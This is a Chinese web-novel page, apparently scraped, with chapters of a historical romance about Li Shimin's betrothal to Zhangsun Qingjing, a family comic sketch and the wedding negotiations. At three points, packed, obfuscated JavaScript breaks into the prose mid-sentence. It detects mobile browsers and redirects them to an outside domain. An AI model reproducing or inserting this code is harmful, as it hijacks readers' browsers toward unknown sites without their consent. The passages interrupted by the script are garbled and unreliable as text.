“我在听你说。”李世民尝试着用温柔的语气宽慰她,“你舅父所虑也不无道理。一旦他离京,以你的处境,只恐你兄长无法保全你。你识得大义固然不错,但不让养父辜负你生父所托成就他的大义难道不重要吗?” “啊,你说得不错。所以我决定陪同舅父去交趾。在大兴,我只是一个令人处处忧心的累赘;在朱鸢,我可以成为照顾父亲的好女儿……”她沉浸在荒唐又令人唏嘘的妄想中。 “这就是你托付我照顾你兄长的缘由?” “嗯。”少女重重点头,产生了眼前人能理解他的错觉。 “我这就去找他们,叔父恐怕已经告知舅父我出逃的消息,我不能让他们担心。公子能帮我说服舅父与兄长吗?母亲那边我可以自己去说。”在所有的不确定性中,她唯独确定这一点,“我舅父、兄长都器重公子,公子若能替我求个情,我去朱鸢一事便稳妥了……” “不能。你所筹谋的这件事,我一个字都不会替你求情。”李世民脸色铁青,用近乎无情的方式拒绝她。 “啊,你也和他们一样小看我。大不了我一路偷偷跟着舅父往岭南走。走得远了,他也无法撵我回去了。”长孙青璟的决绝虽然带着点天真,但是李世民确定这个倔强的女孩大概真会说到做到。 “你既然已经把计划和盘托出,也休怪我警告你所有亲友看紧你、禁你的足,还得收走铜镜、银盘等一切伤人之物。”他没有丝毫玩笑的意思,只是说的急促激愤,也不知两人之间谁更癫狂。 “我敬重公子正直仗义,公子却处处与我作对。既然话不投机,你我就此别过。告辞!”明知这决定荒谬,她也须得为自己试上一试。 “你等等,我之所以不愿意放任你去岭南,是因为我有更好的办法。你可以不断绝与母亲兄长的联系,不被宗族看管,也可令你舅父没有后顾之忧。” “愿闻其详。” “我来照顾你……” 长孙青璟蹙眉道:“这是什么话?我听不明白。若是恶邻相欺,我兄长也自会保护一家子女眷,不劳公子费心。你不愿意说情就算了。我走了,不需要你照顾!” 李世民履霜知冰,暗自揣测长孙青璟此时对自己厌恶至极,情急之下只得将真心和盘托出:“我说的照顾的意思就是,我娶你,你嫁我——婚后,我名正言顺保护你。你想何时归宁就何时归宁,你不愿与长孙家的宗亲往来也无人强求。如今天下纷乱扰攘,你舅父又是大才,兴许哪日又被重新启用,也未可知。你在我身边安安心心待到一家完聚,岂不稳妥?” 这番自作主张的计划和缜密周全的剖白多少缺点少女期待的柔情蜜意,虽不能被指摘不合时宜,但实在品不出什么意惹情牵的渴盼。 长孙青璟满腹狐疑,杏脸桃腮上红霞铺陈。她侧过身,闪躲着李世民的目光。 “是无忌求你照看我吗?或者是我舅父?” “不是,都不是。一切都是我自己的主张。只是出了一点小小的意外,就好像骏马趁主人不备时跑偏了一点路,我略微多跑动了一点路后拨转了马头,让事情回到原来的路途中。”他说得举重若轻,无意倾吐思念与找寻之苦。他靠近长孙青璟,从怀中掏出虞世南的《结客少年场行》,递上前去:“我临去洛阳前答应你向虞秘书求字。今日哪怕求娶不成,我也要履约把字转交你。” 他将叠好的纸条轻放在长孙青璟交错弯折的小臂上,恳切地说道:“若你实在厌恶我,直言‘不可’便是。我绝不再作纠缠。惟愿娘子得一更值得托付的郎君。” 长孙青璟攥着虞世南的诗,隐约其辞道:“公子,我好害怕。有时我很自大,觉得自己应当是追逐皓月的星辰,与冰轮交相辉映;可是,现在我又害怕自己只是一闪而过的萤火,终究化为腐草。” 两只迷途的孤鸿,乘着命运的狂风,不可思议地相逢了。 “你看我,年近弱冠,一事无成,没有爵位继承,没有军功傍身,没有一官半职,父亲也时常被皇帝猜忌,是不是正与你相配?”他害怕站着说话显得高高在上,令她压抑,所以干脆蹲在长孙青璟面前。 这一通“匹配”的歪理让她眼眶红肿,笑出了眼泪。 “青璟,我本来还记得好多齐梁情诗,一见到你,就开心得全都忘记了。我身无长物,一文不名,值得你托付终身吗?” “听上去比矫情饰行、恃才傲物的其他贵族子弟都更值得被托付!”她用最直白的赞美回应炽烈的爱意。 一切尘埃落定。长孙青璟低头,细看眼前这个赤诚的少年。她怯生生地伸手,指尖抚过幞头的一角。“洛阳很无趣吗?你脸色不好。一定没好好吃饭休息。”她扁扁嘴开始找茬,没有旋即回家的意思。 他想起紫薇城那个癫狂和抑郁的夜晚,想起群魔乱舞的宴会,想起凌晨不灭的星辰,想起拂晓邈远的钟声,想起那些支撑着他平安归来的人和事,嘴角不自觉上扬了起来。 “我身体好得很,也很听你的话,不问世事,收敛性子,只是努力加餐饭。洛阳繁盛,唯独我一人寂寥。大兴不一样,都会市的鸟雀,立政里的熏风,终南山的日晕,龙首原的黄昏都很可爱,你也一样。”他的言辞,有一种踏山蹈海而来的清爽与温暖。 长孙青璟红了脸,任由李世民倾吐衷肠,那些笨拙却单纯的思念,恰当或失当的类比,令她心旌荡漾。残存的理智告诉她不要耽于肤浅的情爱。躁动的情感却让她像拼命吞食桑葚的斑鸠鸟一般,无法从这些甜美的浆果中脱身。 悬停在空中的手指颤抖着,想要收回,不经意间又轻触到滚烫的额角。少年脑际偾张的血脉透过肌肤灼烧着少女手指的骨节。 在犹疑的瞬间,李世民握住长孙青璟的手,小心翼翼地按在自己的脸颊上。 “你们两个马上写婚书——立好字据,谁都不准反悔,谁都不准耽搁我喝喜酒。” 一阵穷尽了洪荒之力也没能憋回去的狂放笑声回荡在龙首原的上空。 长孙青璟抽回手,有些慌乱地问道:“你被跟踪了?” “树林里那条爱听墙角的狗——即刻给乃公滚出来!”李世民又惊又忿,向着四下里怒喝道。 番外 唐国府小剧场(李世民跟父母说有了心上人之后) 窦夫人(吃惊地):你在洛阳认识了哪家女儿? 李世民(平静地):不是在洛阳认识的,是在大兴认识的。 窦夫人(转头向丈夫):叔德,你们烧烤斛斯政的时候,你把我们家这只野鹞子放去哪里了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李陇月(鼓励道):男婚女嫁,没什么不好意思的。你说出来,父母才好为你做主。 李世民(嗫嚅着):你们对我恐怕有一点误会。我说的那个心上人,就是已故右骁卫将军的小女儿! 李渊,窦夫人,李陇月(吃惊):什么! 李渊(反复确认):你确定是长孙季晟的幼女? 李世民(点头):确定,她兄长是我好友。 李渊(追问):是被治礼郎高士廉收养的那对兄妹? 李世民(不满):阿耶明明全都知道还问我。 李渊(继续询问):是被斛斯政案牵连贬官朱鸢的高士廉? 李世民(底气不足地):是。 李渊(揉了揉额角):从她父亲叔伯一系来说算是与李家匹配的娘子。我心里只担忧一个麻烦…… 李世民(急切地):可就算是口头婚约也不能说赖就赖,我和她的婚约连见证人都有。要是就这么装聋作哑不履行婚约,让我以后如何立足?万一以后我于三卫任职,上司下属提起我的第一句话就是“那个赖掉和右骁卫将军女儿婚约的小人”,可不比凌迟还难受? 李渊(努力打断儿子长篇大论):我说的麻烦是…… 李世民(急不可耐地插话):阿耶,阿娘,这位长孙娘子性情娴雅,孝顺寡母,又能协同舅父母治家,而且饱读诗书—— 窦夫人(责备地):你这孩子,今天怎么了,父亲说话能不能少插嘴? 李世民(担忧地望着父亲,唯恐他说出拒绝的话):她真的是很难得的…… 李渊(微笑):你怎么半点也沉不下气来。我觉得这桩婚事唯一的麻烦是——万一高家回绝了你,你直接在高府门口不顾死活哭了起来怎么办?你能不能先答应我不当着媒人和父母的面嚎啕大哭…… 窦夫人,李陇月(乐不可支):哈哈哈哈。郎君(阿耶)吓死毘提诃了。 李世民(尴尬):我……反正她就是很好。(认真脸)我答应你万一高家看不上我,不哭就是了。 李渊(微笑):那我心里就没麻烦了。(向妻子)唐国夫人,你看媒人的人选? 窦夫人(故意摆出赌气脸):你们父子两人谈天说地半日,也不问问我看法,随随便便决定了婚事。现在又要差遣我找媒人,好不过分! 李世民(委屈地):阿娘—— 李陇月(诧异地):不会吧,毘提诃还是说哭就哭的性子,和小时候一点没变啊?阿娘你不要吓唬他了,看把他委屈的。 李渊(笑道):毘提诃,别管你阿娘装腔作势,人家长孙娘子的父亲伯父夸她睿智奇女子,她心里偷着乐呢!哪里会拒绝这桩婚事,她心里一开始就应允你了。 窦夫人(以团扇轻敲李渊额角,默认):你比儿子还促狭!(转向李世民)那么媒人的人选…… 李世民(坚定地):我要道生舅舅替我提亲! 李渊(吃惊地):这还真是狮子大开口! 窦氏(无所谓):道生就道生,我明天就求他去高府,反正他赋闲在家。他素与皇帝不和,又仰慕山中高士,说不定与高士廉一拍即合。你的婚事就十拿九稳了。 李渊:你们母子俩还真够性急的。 窦夫人:事不宜迟嘛。这样一块美玉,万一被更权势煊赫,更丰神俊朗,更体姿英武的郎君看上了,岂不是追悔莫及。 (全家大笑) (李世民再三向父母稽首,满心欢悦) 窦夫人(玩笑):你既然连媒人都自己挑好了。是不是接亲人选也想好了? 李渊(反问):这有什么好想的?让建成元吉从河东回趟大兴而已。 李世民(直截了当):我要孝恭,道宗,道玄陪我去迎亲。 李陇月(嘲笑):跟你说笑呢,媒人还没送婚书呢。你还惦记上婚礼了。 窦夫人(嘲弄):自家婚书还没送出去了,已经开始嫌弃亲兄长贪杯、亲弟丑陋了…… 李世民(辩解):哪有? 李渊(恍然):还有一件事,虽说长孙娘子是高家养女,毕竟还是长孙家的女儿,要是提亲一事瞒着她叔伯,以后怕是会有麻烦。陇月啊,长孙晟可有亲兄弟还在世? 李陇月(思索):尚有一个幼弟在世,叫长孙敞,字休明。他是孝政的堂兄,反正我孝期已过,知会长孙家那边的事交给我便可。 20. 团聚 “喂,有佳人在侧,李公子你说话竟然如此鄙俗、毫不顾忌的吗?”身后一棵老松晃动了一下,落下一堆松针。 “王无锝,你再不现身我就砍了这树!”李世民冷笑道。 “好了好了,消消气。哎哟,我腿都麻了,你先别砍……” 王无锝一手挂着松枝,一手握着佩刀,嘴里还衔着一根松针,晃晃悠悠地从树上悬荡而下,甫已落地,便抚掌笑道:“有趣!有趣!今日王某大开眼界。李世民,我初时以为你不过在长安少年中间振臂一呼,便应者云集,赢粮景从,什么五陵恶少、长安大侠莫不效死。想不到你哄女孩子也是手到擒来游刃有余。——这位娘子,想必就是高士廉高先生的养女咯?” 长孙青璟心中羞赧不已,又深恨此人无礼。她故作镇定地问李世民:“李公子,这个王无锝是你什么人?” “一个鹞鹰商人而已!不值一提,不名一文。与我无亲无故。”李世民瞥了王无锝一眼,云淡风轻地对长孙青璟道,“今日着了这厮的道,是我大意了。烦劳长孙娘子为我选个地方,我即刻埋了这獠!” 长孙青璟扫视了王无锝前后一番,嫣然一笑:“他藏身的这片松柏林就与他很相宜。公子先忙,把人埋好了,封土堆结实了,再由我来替他写碑文!——王无锝,我就不收你家人润笔费了,快谢我罢。” 王无锝指着李世民、长孙青璟二人笑道:“你二人还真是蛇鼠一窝,天造地设的一对。王某向来不与娘子计较——李世民,你良心何在!我用了整整两日为你打听高士廉一家去向,欠了各路恶少无赖不知多少人情才找到他崇德里那两所寒酸的新宅。我又因为担心你安危才尾随你前来,谁料你却在此地与这娘子私定终身!恶少大侠们敬仰你人品贵重,为自己恩师、友人奔走,他们哪里猜得到你如此不良居心?我一定要将你瞒骗友人的恶形恶状传扬出去!” 李世民理直气壮地说:“我没有与人私定终身,我与长孙娘子自小就有婚约。于今未婚妻举家蒙难,她为了不拖累我再三躲避;为了照顾贬官的养父,宁愿舍弃大兴安逸而南行至烟瘴之地。我堂堂大丈夫,难道坐视不理,与这样贤良的女子义绝。岂不惹人耻笑?事急从权的道理我还是略懂一些的,所以不拘俗礼,与她重申婚约,拼死也要护她周全……” 王无锝吐掉口中松针,冷哼一声:“权且信你一次。啊,刚才你那番剖白可比合生戏的戏文还情真意切,有空教我说几句!我一直以为你喜欢温柔贤淑的淑女,谁料你竟爱慕这种胆大妄为的恶女。” 长孙青璟一噘嘴,怒喝道:“何物等流,无状至此!” 李世民走近王无锝,踹了这油嘴滑舌的朋友一脚,附耳道:“赶紧向我未婚……向长孙娘子道歉,否则我真刨坑了——我还没追究你偷听我们说话的事情呢!” “哎哟,色令智昏这个词说得可不就是你吗?”王无锝捂着被踹的小腿肚抱怨道。 “少废话,给她赔罪。我数三下,一,二——” 王无锝假意咳嗽数声,向长孙青璟行了一个叉手礼:“长孙娘子,我王某说话一向直率,你家郎君是一贯知晓的。今日之事,起因并非王某有意窥探你们的私事,只缘我这朋友这几日因为找寻娘子的下落而神思恍惚、莽撞易怒。娘子又以男装示人,某实在担心朋友不虞,故而在暗处静观其变,以保护他的安危。后来的事情嘛,就怪这树长得盘虬卧龙般别扭了,我因势而掩蔽,身体僵硬麻木,一时竟像在树上扎了根,无法离开……” 他那半真半假的言辞和虚情假意的动作让长孙青璟和李世民都朝他翻了白眼。王无锝正色道:“不过长孙娘子尽管放心,方才你们说了什么,做了什么,王某实在也未听得真切,看得明白,决计不会向第四个人吐露半个字。某一时胡言乱语,还请娘子海涵。”说着又作了一揖。 刚定下誓约的年轻情侣也自觉理亏,加之王无锝许诺不外传,便暂时轻轻放过此事。 王无锝开始操起商人的本行,问起长孙青璟:“长孙娘子可喜欢鹦鹉,我那里的林邑鹦鹉,又大又艳丽而且聪明。不信你问他……长孙娘子喜欢的话我给娘子送到崇德里府上!”说罢瞟了李世民一眼。 青璟低下头,微笑不语。 王无锝又追问:“娘子可缺兄弟?可缺从兄弟?可缺表兄弟?” 青璟惊奇地反问:“我缺不缺兄弟与王公子何干?” “娘子勿怪我心直口快。我这几日帮忙寻找娘子下落时,对高家当下的情形也有所耳闻。我思忖着娘子家男丁单薄,高先生又是温文儒雅之人,举家上下无人擅长做婚礼迎亲时女家那‘下婿’的促狭之事。我为报长孙娘子不杀不埋之恩,定然在李世民迎亲之日,叫上一群五陵少侠充作娘子从兄弟表兄弟,待新郎催妆时就将他堵在门外百般刁难。老人们都说,新郎被刁难得越狠,日后便更加礼待妻子。长孙娘子,你若要给新郎下马威,只需一声令下,我们便一哄而上,把新郎……” “谁答应延请你参加我的婚礼了?”李世民质问道,“自说自话,好生无理!” “谁乐意陪你迎亲,我也可以送亲。反正那天热热闹闹就行。好不容易找到一个机会把你打得跪地求饶,错过这次就等不到下一次了。” “什么馊主意?谁跪谁还不一定呢!”李世民又气又好笑。 两人你一言我一语,开始畅想迎亲那日嫁娶双方斗法情形,丝毫没有留意长孙青璟措颜无地的神情。 “我不喜欢鹦鹉,也不缺兄弟。”长孙青璟羞愤交加,“你们欺负高家无人,就如此胡说八道。若我孝瓘舅父还在世,定然将你们擢筋剥肤,捆一起扔渭河里喂鱼。” 王无锝爽朗大笑,拱手道:“长孙娘子勿怪,我们平日里说话就是这么口无遮拦的。娘子有大义,不惜追随落难养父,不惜割情未婚夫。我这朋友若不敬娘子,定然不会贸然求娶;王某若不敬重娘子,也无意自荐充当下婿障车者。二位若是失之交臂,我反而扼腕叹息。如今的情形,虽说不上皆大欢喜,也算是不幸中的万幸。总之,你们有好消息了记得发我请柬。就此别过!婚礼见!”说罢向树林中长啸,宝驹应声而来,人马扬长而去,不久便消失在灰黄的烟尘中。 年轻的情侣并没有再诉衷肠,只是策马一前一后迤逦而行。回到逼仄的新宅附近时,高氏正在门口焦灼地徘徊。当一身麻布皂衣的长孙青璟跪在她面前恳求不要再把自己赶走时,高氏抱着女儿,涕泗交流。 “是阿娘错了,阿娘不该自作主张把你送走。”她柔肠百结,向失而复得的女儿承诺,“我们一家不分开,就算一起去岭南也不分开了,就跟过去一样。” 高夫人伸手,轻轻摩挲着女儿被龙首原的野风吹皴的脸,又执起她的双手,细细查看今日骑马时勒出的血色压痕:“阿娘都做了些什么傻事,把你逼成这样。” 长孙青璟仰起脸,用手抹了一下眼泪,开开心心地说:“阿娘,我有手有脚,会做女红,能抄佛经,可以养活自己。也可以像哥哥一样奉养你。你们留我在身边,不会碍事的。” 高氏将偷弹的珠泪拭去,拉着长孙青璟的手道:“好,好……你也须得答应阿娘,不准再乱跑了。看,你把自己弄得像只无主的花猫。” 长孙青璟像年幼时一般依偎在母亲怀中。为了避嫌,李世民也只是远远看着,他全然是个外人,也不知是近前招呼还是果断离去。正迟疑间,找寻妹妹未果的长孙无忌策马归来。 当着母亲和兄长的面,长孙青璟略抬了一下手,指了指李世民道:“是他护送我回来的。”说着便径自进入新宅,不再理睬任何人。 “高夫人,无忌,我可以与高先生见一面吗?”母子还未致谢,李世民便迫不及待而又郑重其事地问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041799|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 长孙青璟洗漱完毕,换上昔日的浅绿色襦裙。刚着手整理书箱,高夫人就吩咐她马上与高士廉会面,只说舅父有要事告知一家人。长孙青璟便暂时将《结客少年场行》放在海兽葡萄镜下,立刻随着母亲在不甚宽敞的回廊中穿行。 高夫人一家所居新宅比起旧日大宅,有些狭小破败。又恰逢仲冬时节,花草枯败,更显残破。好在她自身也历经父亲高劢贬官,丈夫长孙晟去世,孤儿寡母相依为命的跌宕起伏的半生,性子早已恬淡平和,也便随缘自适了。 如今,兄长贬官远行之期将至,儿子却还未成年,不足以独立支撑门户,高夫人不免觉得这诡异的人生又开始了不怀好意的轮回,一时失去了主张。好在女儿的出逃及时点醒了自己。 将与高士廉相见时,高夫人突然轻轻拉住了青璟的胳膊,将两手搭在她肩上:“你和阿娘说实话,是不是已有心上人了?是不是李世民?” 长孙青璟害怕母亲责怪自己有失闺仪,连连摇头;又担心错过缘分,下意识地向后退了几步,咬着嘴唇点了点头。 她的母亲神色很是凝重:“观音婢,舅父将与你说起人生大事。虽说家道中落,好姻缘可遇不可求。但我仍旧希望前来求亲之人能堪匹敌。若你心中欢喜,我也甚感宽慰;若你不喜,也无须委曲求全。我与你兄长已经商量过,我在一日,便照顾你一日;母亲若是去了,便令你兄长照拂你。” 长孙青璟紧紧抱住母亲,将母亲鬓发间的青木香吸入胸腔。“放心,阿娘,我自有主张,谁都不能夺我之志。” 长孙青璟步入正厅,与舅父相见,揖拜之后,高士廉便直截了当地告知她:“虽说今日事有些曲折,你平安回来就好。下不为例。” “舅父,只要不把我送去叔父那里,我决计不随意出逃。”少女郑重的承诺道。 “休明公待你不好吗?”高士廉回想起方才收到的潦草手条,心中困惑。 长孙青璟摇摇头:“叔父待我不薄,他说自己懒怠惯了,也管不住安业,所以放任我在舅父这里住了这么多年。他也说自觉对不起我父亲伯父临终嘱托,故而让我安心住在他府中,由他安排我未来的婚事。” “那你为何出逃?” “梁园虽好,非久居之乡。哪怕同去交趾,我也只想与你们在一起。” 高士廉眼神一凛:“观音婢,是舅父考虑欠妥了。” 他的神色忽而又温和愉悦起来:“今日要与你说的,却是另一件要紧事。长话短说吧。年轻的郎君和娘子相互爱慕本也是人之常情,我不知道无忌、世民和你三人平日里如何相处,也看不出有何出格之处。想来李世民对你的仰慕心仪是缘于端庄品性与绮合藻思。总之,今日唐国公委托的媒人窦抗窦道生也前来‘问名’,方才李世民又与我长谈。他们本不必这么器重我的。今日先帝外甥与国公爱子分别向我请婚,我实在受宠若惊。以我现在的处境,是没有资格拒绝八柱国家如此青眼与善意的。我即将远游,总觉得将你安顿好了才对得起你父亲。长孙青璟,你告诉我,如果舅父做主将你许配给唐公次子,你可情愿?若你不情愿,我明日就回复媒人,以他父子如此的心胸,想来也不会为难我家。我也就当此事从未发生过,绝不会对你横加指责。” “一切听凭舅父安排,我无异议。”长孙青璟有一种权衡利弊后置身事外的平静。 高士廉也略有愧疚:“我恐怕等不到李家亲迎了。有太阿在握的家族庇护你,你该开心才是。” “是啊,我很开心。”长孙青璟喃喃自语,目光却一直停驻在窗棂外一根偶然被风刮过的柳枝上。霜风断叶,衰条招摇。 “我年少时,总幻想着成为游侠,仗剑天涯,快意恩仇……”高士廉自言自语道 “舅父,我也是啊。” 柳条没有枯死,它只是蛰伏。 21. 媒妁 皇帝又一次抛弃了大兴,准备在腊月前赶到洛阳。 高士廉需要在腊月前离开大兴,赶在三月之前到达交趾。 李高两家因近来腊月不利婚嫁的传言,需要在腊月前举行婚礼以免不吉。 所以,但皇帝浩荡的卤薄又一次离开朱雀门时,赋闲已久的窦抗作为函使送来了婚书与聘礼。 聘送队伍浩浩荡荡,最前面的是押函两匹细马,后面紧跟着函舆、之后各舆依次载着五色彩、束帛、钱舆、猪羊、须面、野味、果子、酥油盐、酱醋、椒姜葱蒜。 高家在正堂预设一床,床上置案,案上摆放香炉、水碗、刀子。函使窦抗到达后,高士廉按照礼节接过礼函,取刀启封楠木函,当众朗读通婚书: “渊谨呈:第二男,年已成立,未有婚媾。承贤甥女令淑有闻,四德兼备,愿结高援。谨因媒人窦抗道生,敢以礼请。脱若不遣,伫听嘉命。渊状。” 因长孙青璟之父长孙晟已逝,高家全员微泣三声以示哀悼。 长孙敞和高士廉互相谦让一番后,由高士廉以舅父身份拟写答婚书。 “俭谨答:甥女年尚初笄,未闲礼则。承贤第二男未有伉俪,顾存姻好,愿托高援。谨因媒人窦道生,敢不敬从。俭状。” 仆役奉上长一尺二寸,宽一寸二分,木板厚二分,盖厚三分的礼函,将答婚书放入。最后用五色线扎缚、封题,交给窦抗。 之后,高士廉接受诸舆中的聘礼,用酒饭招待长孙敞及函使窦抗一行。席间,窦抗与高士廉相谈甚欢,甚至忘记了两人本是为撮合各自外甥甥女的婚事而坐在一起的。 窦抗按照堂妹嘱托,与长孙青璟聊上几句家常话。在他看来,任性年轻人的婚事大抵见色起意,女方所谓贤德与才学,俱是废话与后话。世道如此,他这媒人也不必多计较,难得这女孩是外甥自己选的,将来的纷扰自己承担便可,他这个函使照章办事就无懈可击了。 当然,窦抗爽快答应做媒与竭力促成婚事背后还有一些不能言说隐情。他实在厌恶皇帝杨广!厌恶皇帝无中生有的怀疑与夺爵!也厌恶与皇帝同宗的弟妹乐此不疲地打听李世民婚事的村妇行径! ——窦抗像个顽童般不愿让姓杨的事事如意!一切就是这么简单而不可轻易言说。 所以窦抗对无辜遭贬谪的高士廉多了一份感同身受的怜悯,对寄养在高士廉家中的两个孩子也多了几分好感。 窦抗返回前,又依例带回长孙青璟的部分衣物首饰——听高家奴仆闲言碎语,长孙敞的妻子对这些婚后衣饰出力不少,不愿侄女在新的社交圈中被人耻笑。 他竟有些惋惜年轻时未能早一些认识高士廉。后者今日酒酣之时为窦抗、长孙敞弹奏的那一曲《广陵散》竟有五岳震颤、江河倒悬之势,可惜今后却听不到了。 回程路上,窦抗回想起李渊夫妇对长孙青璟从叔父家中出逃一事的质疑,居然自告奋勇地打起了为这孩子狡辩的腹稿:“打伤一个不值钱的奴婢算什么了不得的大事?陇月也未免太大惊小怪。这样仁孝慕义的孩子,宁可跑去烟瘴之地侍奉养父也丝毫不留恋大兴繁华,难道配不上陇西李氏的门第?” 于是两家卜问之后就定下婚期,各自告庙。 仲冬的清晨,晨钟刚过,缠绵病榻几日的窦夫人感觉精神一时清明,想要走动一下,突然问起李世民法驾离开大兴几日了。 “两日了。”彻夜守候的儿子在侧警觉地醒来,忙吩咐婢女奉上汤药。 “高家的答婚书送来了没有?”做母亲的急切地问道。她最近气疾发作越发频烦,时常夜不能寐。但为了儿子的婚事,她又时常强忍着剧痛隐瞒真相。 “舅父昨天就送来了。父亲看过了,已经嘱咐发请帖了。腊月前把婚事办完。”李世民皱了皱眉道,“最近大兴城里又谣言四起,说腊月新妇与舅姑不得相见,所以很多人都临时改了婚期……” 这样仓促的婚仪一方面让李世民觉得有些愧对长孙青璟,另一方面确实也没有更好的办法兼顾高士廉留驻京师为数不多的时间。 “我本该找个街市上演合生或者演谈容娘的机会看看那个孩子,不过想来他一家因高士廉贬官一事心绪不佳。我若相邀,反而显得强人所难。她的母亲和舅父难免觉得我们李家首鼠两端,惹得你也被人低看,就不妙了。既然你自己坚持要娶他,你舅父也对她夸赞不已,那我也无异议……听你道生舅父说,她也是个刚烈的孩子,为了和抚养自己长大的舅父在一起,不惜从她季父家只身出逃。”窦夫人的脸上挂上了一缕若有若无的笑意。 “你为什么要替她隐瞒呢?还央求你四姊一起瞒着我这些事。四娘那天慌慌张张回来,偷偷摸摸告诉我,你爱慕的那位娘子是如何的乖张暴戾,打伤了奴仆,着实把我和你父亲都吓住了。好在你舅父弄清楚了事情原委,我与你父亲才放心送去婚书。 “说来也奇怪,你说她温柔多才,四娘说她骄矜狠戾,你舅父夸她刚烈不可夺其志,你们各说各的,让我越发好奇。虽说我没有亲见那个随珠一样的娘子,却觉得这孩子与我说不出的投缘。大概是一个可堪与你匹敌有趣女孩。”窦夫人笑道。 “阿娘,你一定会喜欢她的。”李世民无法用明晰的譬喻形容青璟,也无法把两人交集、书信往来告诉母亲,只能用最拙劣最模糊的言辞向窦夫人承诺。 “你向我保证过很多次啦。我还没见过她,就已经很喜欢她了。我只是奇怪你先前总喜欢找借口去高府,最近怎么反而不去了?你就一点也不想她?” “除非变卦,否则我与她约定的事情不需要反反复复试探和确认。阿娘觉得我和她谁会先变卦?” 窦氏开怀大笑:“你两个这股傲气倒是很像。那你就多陪陪老母亲吧。吩咐下去,替我备车,我要去咸阳原看望故人。” “母亲要去孝陵祭拜吗?还是让我替母亲去看望武皇帝吧,母亲暂时不要多劳动身体,等这阵气疾过去了,我再陪母亲去咸阳原,可好?” “不好。”提到祭拜这位抚养过自己的皇帝,窦夫人突然变得偏执而冥顽。 李世民暗自抱怨此时的母亲有点像那日龙首原上那个刚愎自用的少女——这方比好像哪里不对。他摇摇头在脑海中纠正:应当是那个食古不化的少女有点像自己母亲! “我最近常梦见舅父,他还是而立之年的英武模样,我呢,也返老还童,成了六岁的幼童。他呢,就笑嘻嘻地坐在我身边,任由我把他一屋子经书翻得乱七八糟,还扯着他胡子玩耍,俯身跟我说笑:‘纥豆陵娘子,你是不是又有喜事瞒着阿舅?枉我把你当成公主养大!怎么都不告诉阿舅一声。’上次他在梦里与我这么亲切地说话还是在我婚前,劝我不要冲动莽撞,要我好好活下去。我可一直很听他老人家的话。”提起驾崩多年的大周武皇帝宇文邕,窦夫人的忧伤仍旧和九岁时一样浓稠。 “阿娘,卜筮的结果是大吉,我和长孙娘子婚姻美满,母亲也定然百岁千秋,康健无虞。”李世民安慰道。 窦夫人似笑非笑地答道:“承卜筮吉言,我这病不敢不愈,所以也不敢不去祭拜舅父。我就怕哪天发病,把旧事忘得一干二净,连舅父的脸都记不清。可不得趁着脑子还没糊涂时跟他报喜。” 在母亲与儿子固执的拉锯中,儿子终于落了下风。 渭水南岸的原野雾霭未散,窦氏透过车窗远望,周孝陵颓圮的朱雀门匾额好似悬浮在空中。朔风劲袭,砭人肌骨,蒿莱低伏,松海扬波。一派荒凉破败的景致。 李世民下马,搀扶母亲从车中走出。很显然,眼前的断垣颓壁显示陵监已经形同虚设。 窦夫人冷“哼”了一声:“杨氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我只是害怕,也许下次一病,你们很长时间都与歌吹、乐舞、游逸这些快乐无缘了。”窦氏若有所思地说道。 她回望那几株被摧折的柳树,严霜正在消解,化作滴滴清露,浸润了整棵干涸的柳树。在并不明亮的晨曦中,枯条拥有了琉璃的光泽。 “阿娘,来年春天我们再来。” 窦氏点点头,她渴盼着看到明年的新柳——熬过一个冬天而已。 马鸣萧萧,车辕咿呀。孝陵又一次归于平静。与惨淡的天光,寂寥的山川融为一体。 “你还是去趟利人市、都会市或者崇德里吧。”窦夫人在马车上回望萧索荒败的孝陵,“毘提诃,你在家里太吵闹了,让我一个人安静片刻。” “可是我分明……”李世民刚想反驳,又会意闭嘴了。 长孙青璟身着男装,袖囊里揣着高士廉的书单,一人一马一婢女一部曲缓缓向利人市而去。 她觉得今日之事有些蹊跷,往年若是求购时历书等,都是兄长无忌出马,而她往往是那个哭闹着同去的添头。她也不知今日舅父如何就放她一人出行。 但是转念一想,许是舅父真的需要多多拜会那些蒙难之时还竭力营救他的故友,带上视若己出的外甥以示郑重。 “那一天也掐指可待了……”她叹息了一声,不忍再想,“就趁着舅父还在大兴的日子多陪陪他、也不要违拗他吧。” 从小道上突然窜出一匹马,向长孙青璟迎头奔来,马身几乎擦过擦过长孙青璟身体。 两马皆惊,嘶鸣不已。 对方身上掉落下一个鱼形油纸袋。 “瞎眼了吗?”部曲追上前去,向着那随意冲撞长孙青璟马匹的年轻郎君怒骂道,想出手将人从马上揪下来向长孙青璟赔罪。 “等等,是自家人!”阿彩冲到受惊嘶鸣的两马中间,捡起了油纸袋。 22. 市肆 “敏行!兄长!”长孙青璟跳下马,招呼控鞍的少年。 “妹妹。好在。”长孙敏行下马跑到阿彩身边,很分明地有意将阿彩隔挡在一边,自顾自捡拾散落的药材。 部曲即刻俯首向长孙敏行赔罪,将两匹惹祸的马牵到路边。 “青蒿、常山、知母、鳖甲、甘草……”长孙青璟眼疾手快地跑到长孙敏行身边,也俯身一起帮忙将药材分类重新包好。她有些疑惑地问道:“家里有人得疟疾吗?” “啊……是啊……预备好,以防不测……”长孙敏行来不及遮掩药材,满口支支吾吾,回答得不情不愿,“你没受伤吧?” 